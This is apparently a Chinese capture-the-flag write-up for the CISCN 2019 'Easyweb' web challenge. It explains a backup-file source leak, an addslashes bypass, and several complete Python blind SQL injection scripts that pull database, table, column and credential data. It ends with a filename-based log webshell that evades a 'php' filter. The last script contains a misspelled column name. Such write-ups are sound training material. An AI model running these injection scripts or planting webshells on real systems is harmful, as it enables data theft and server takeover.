[CISCN2019 總決賽 Day2 Web1]Easyweb
考察:
robots.txt
image.php?bak文件泄露,image.php.bak可以下載別的不大行
盲注
php日誌掛馬
- <?=可以繞過檢測
初步工作
進入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt
Disallow: *.php.bak
對暴露的php文件進行測試,
user.php,image.php.bak
image.php.bak存在,得到源碼如下。
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
分析源碼
addslashes()函數,這個函數會把特殊的字符轉義。
比如:單引號會被轉義成\'
,斜槓會轉義爲\\
.
第十行的str_replace會把"\\0","%00","\\'","'"
中的任意一個替換成空。
我們可根據這個繞過當傳入id=\\0
時,就會在 查詢語句處改變sql語句。
即:select * from images where id=' \' or path='
+{$path}'
所以我們可以在path處注入我們的新語句,
由於沒有查詢結果回顯,所以此處是盲注。
簡單的測試
因爲是整數型注入,所以我們可以使用mysql的三目運算
if ( boo1, exp1 ,exp2 )
簡單實驗數據庫名長度。
正式編寫腳本
編腳本就很累了,寫的水平垃圾的一,寫了好久。
爆數據庫名長度。
其實這一步可以不用的,就是測驗自己的理論,加上學習。
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
for i in range(30):
payload = "if(length(database())=%d,1,-1)%%23" % (i)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
print(i)
爆數據庫名字
爲:ciscnfinal
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用於判斷可不可以終止
i = 0
while( result != last ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
# print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=" ":
result += chr(head)
print(result)
爆數據表的表名
記得看一下名字裏包不包括源碼泄露的images表,可以作爲你的腳本正確性驗證。
有: images,users
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while head < tail :
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=' ' :
result += chr(head)
print(result)
爆數據表的列
爆列的時候注意,因爲過濾了雙單引號,且我們沒有函數了,所以此時要把表明轉成16進制
hex(“users”) = 0x7573657273
爲:username,password
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
爆username字段
admin
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
爆username字段password
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(passowrd) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
登錄
我們有了用戶名和密碼。
登錄進去後,簡單上傳測試後發現,他會把文件名放到日誌。
所以把木馬寫到文件名即可,注意過濾了php。
可以用<?=來繞過。
上傳之後,getshell,去根目錄把flag文件讀了即可。